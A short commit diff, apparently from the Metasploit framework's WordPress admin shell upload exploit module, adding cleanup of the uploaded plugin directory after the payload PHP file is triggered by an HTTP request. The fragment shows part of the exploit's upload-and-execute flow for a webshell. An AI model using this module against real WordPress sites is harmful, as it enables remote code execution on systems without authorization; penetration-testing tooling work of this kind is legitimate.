remove plugin dir

Author: firefart

modules/exploits/unix/webapp/wp_admin_shell_upload.rb

@@ -96,6 +96,7 @@ def exploit
     print_status("Executing the payload at #{payload_uri}...")
     register_files_for_cleanup("#{payload_name}.php")
     register_files_for_cleanup("#{plugin_name}.php")
+    register_dir_for_cleanup("../#{plugin_name}")
     send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
   end
 end